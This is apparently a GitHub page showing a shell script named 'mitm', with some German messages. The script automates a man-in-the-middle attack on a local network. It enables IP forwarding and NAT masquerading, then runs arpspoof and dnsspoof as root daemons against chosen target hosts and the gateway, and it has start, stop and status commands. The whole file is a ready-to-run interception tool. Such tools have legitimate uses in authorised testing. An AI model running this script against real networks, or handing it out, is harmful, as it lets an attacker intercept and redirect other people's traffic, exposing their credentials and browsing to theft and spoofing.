-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmitm
executable file
·125 lines (106 loc) · 2.26 KB
/
mitm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env sh
#set -x
set -e
export LANG="C"
export PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"
usage () {
cat <<! 1>&2
Usage: $0 <start|stop|status> ;-)
!
exit 1
}
startup () {
local t_r="$@"
sysctl -w net.ipv4.conf.$if.forwarding=1
iptables -I FORWARD -j ACCEPT
iptables -t nat -I POSTROUTING -o $if -j MASQUERADE
daemonize -e $log -o $log -c $dir -l $dnsspoof_pid -p $dnsspoof_pid -u root /usr/sbin/dnsspoof -i $if host $gw
daemonize -e $log -o $log -c $dir -l $arpspoof_pid -p $arpspoof_pid -u root /usr/sbin/arpspoof -i $if $t_r $gw
}
cleanup () {
pkill -F $arpspoof_pid
pkill -F $dnsspoof_pid
iptables -D FORWARD 1
iptables -t nat -D POSTROUTING 1
sysctl -w net.ipv4.conf.$if.forwarding=0
}
status () {
tail $log
}
cd ~/.mitmproxy/ || exit
dir="/tmp/`basename "$0"`"
mkdir -p $dir && cd $dir
pwd
arpspoof_pid="arpspoof.pid"
dnsspoof_pid="dnsspoof.pid"
log="`basename "$0"`.log"
# check write permissions amongst other things
touch $dir $arpspoof_pid $dnsspoof_pid $log
# Interface und entsprechendes Gateway
con=${CONNECTION:-`nmcli -g uuid,state connection | awk -F ':' '$2=="activated" {print $1; exit}'`}
if=${if:-`nmcli -t connection show $con | sed -n -E "/^GENERAL\.DEVICES:/s///p"`}
gw=${gw:-`nmcli -t connection show $con | sed -n -E "/^IP4\.GATEWAY:/s///p"`}
TEMP=$(getopt -o 'hi:g:' --long 'help,interface:,gateway:' -n "$0" -- "$@")
if [ $? -ne 0 ]; then
usage
echo 'Terminating...' >&2
exit 1
fi
# Note the quotes around "$TEMP": they are essential!
eval set -- "$TEMP"
unset TEMP
while true; do
case "$1" in
'-h'|'--help')
echo 'Option -h, --help'
shift 1
usage
exit
;;
'-i'|'--interface')
echo "Option -i, --interface; argument '$2'"
if="$2"
shift 2
continue
;;
'-g'|'--gateway')
echo "Option -g, --gateway; argument '$2'"
gw="$2"
shift 2
continue
;;
'--')
shift
break
;;
*)
echo 'Internal error!' >&2
exit 1
;;
esac
done
echo 'Remaining arguments:'
for arg; do
echo "--> '$arg'"
done
if [ ! "$if" ] || [ ! "$gw" ]; then
echo "Konnte Interface/Gateway nicht ermitteln :-(" 1>&2
exit 1
else
echo "Interface ($if)/Gateway ($gw) ermittelt :-)"
fi
case "$1" in
start)
shift
startup "$@"
;;
stop)
cleanup
;;
status)
status
;;
*)
usage
;;
esac